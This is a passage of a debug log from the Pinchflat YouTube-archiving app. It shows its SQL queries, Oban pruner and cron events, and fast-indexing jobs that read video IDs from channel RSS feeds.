ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.385 [debug] Replied in 3ms 12:45:22.385 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "downloaded", "source_id" => 1} 12:45:22.385 [debug] QUERY OK source="sources" db=0.1ms idle=43.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.386 [debug] QUERY OK source="media_items" db=0.3ms idle=42.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 12:45:22.387 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.387 [debug] Replied in 1ms 12:45:22.387 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "other", "source_id" => 1} 12:45:22.387 [debug] QUERY OK source="sources" db=0.0ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.389 [debug] QUERY OK source="media_items" db=1.1ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 12:45:22.390 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.390 [debug] Replied in 2ms 12:45:26.698 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:56.699 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.501 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:26.700 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:56.701 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.502 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:26.702 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:56.703 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.503 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:26.704 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:56.705 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.504 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:26.706 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:56.707 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.505 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:26.708 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:40.097 [info] {"args":{"id":2},"id":639,"meta":{},"system_time":1784897440097714051,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:50:40.098 [debug] QUERY OK source="sources" db=0.6ms idle=1492.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:50:40.099 [debug] QUERY OK source="settings" db=1.1ms idle=1493.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:50:40.100 [debug] QUERY OK source="media_profiles" db=0.9ms idle=1010.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:50:40.101 [debug] QUERY OK source="settings" db=0.9ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:50:40.101 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:50:40.229 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:50:40.229 [debug] QUERY OK source="media_items" db=0.2ms idle=131.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:50:40.230 [debug] QUERY OK source="media_items" db=0.3ms idle=131.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:50:40.231 [debug] QUERY OK source="tasks" db=0.1ms idle=129.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [642, 2, ~U[2026-07-24 12:50:40Z], ~U[2026-07-24 12:50:40Z]] 12:50:40.231 [info] {"args":{"id":2},"id":639,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133539,"event":"job:stop","queue_time":376580,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:50:55.112 [info] {"args":{"id":1},"id":640,"meta":{},"system_time":1784897455112179029,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:50:55.112 [debug] QUERY OK source="sources" db=0.0ms idle=1504.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:50:55.112 [debug] QUERY OK source="settings" db=0.0ms idle=1505.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:50:55.112 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:50:55.113 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:50:55.113 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:50:55.154 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:50:55.154 [debug] QUERY OK source="media_items" db=0.2ms idle=41.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:50:55.156 [debug] QUERY OK source="media_items" db=2.0ms idle=42.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:50:55.157 [debug] QUERY OK source="tasks" db=0.0ms idle=44.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [643, 1, ~U[2026-07-24 12:50:55Z], ~U[2026-07-24 12:50:55Z]] 12:50:55.157 [info] {"args":{"id":1},"id":640,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":45155,"event":"job:stop","queue_time":428031,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:50:56.709 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.506 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:10.128 [info] {"args":{"id":3},"id":641,"meta":{},"system_time":1784897470128054723,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:51:10.128 [debug] QUERY OK source="sources" db=0.0ms idle=1518.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:51:10.128 [debug] QUERY OK source="settings" db=0.0ms idle=1007.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:51:10.128 [debug] QUERY OK source="media_profiles" db=0.1ms idle=518.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:51:10.129 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:51:10.129 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:51:10.153 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:51:10.153 [debug] QUERY OK source="media_items" db=0.3ms idle=25.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:51:10.155 [debug] QUERY OK source="media_items" db=1.8ms idle=25.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:51:10.156 [debug] QUERY OK source="tasks" db=0.0ms idle=27.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [644, 3, ~U[2026-07-24 12:51:10Z], ~U[2026-07-24 12:51:10Z]] 12:51:10.156 [info] {"args":{"id":3},"id":641,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":28416,"event":"job:stop","queue_time":439166,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:51:26.710 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:56.711 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.507 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:26.712 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:56.713 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.508 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:26.714 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:56.715 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.509 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:26.716 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:56.717 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.512 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:26.718 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:56.719 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.513 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:26.720 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:56.721 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.514 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:26.722 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:56.723 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.517 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:26.724 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:56.725 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.517 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:26.726 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:56.727 [info] 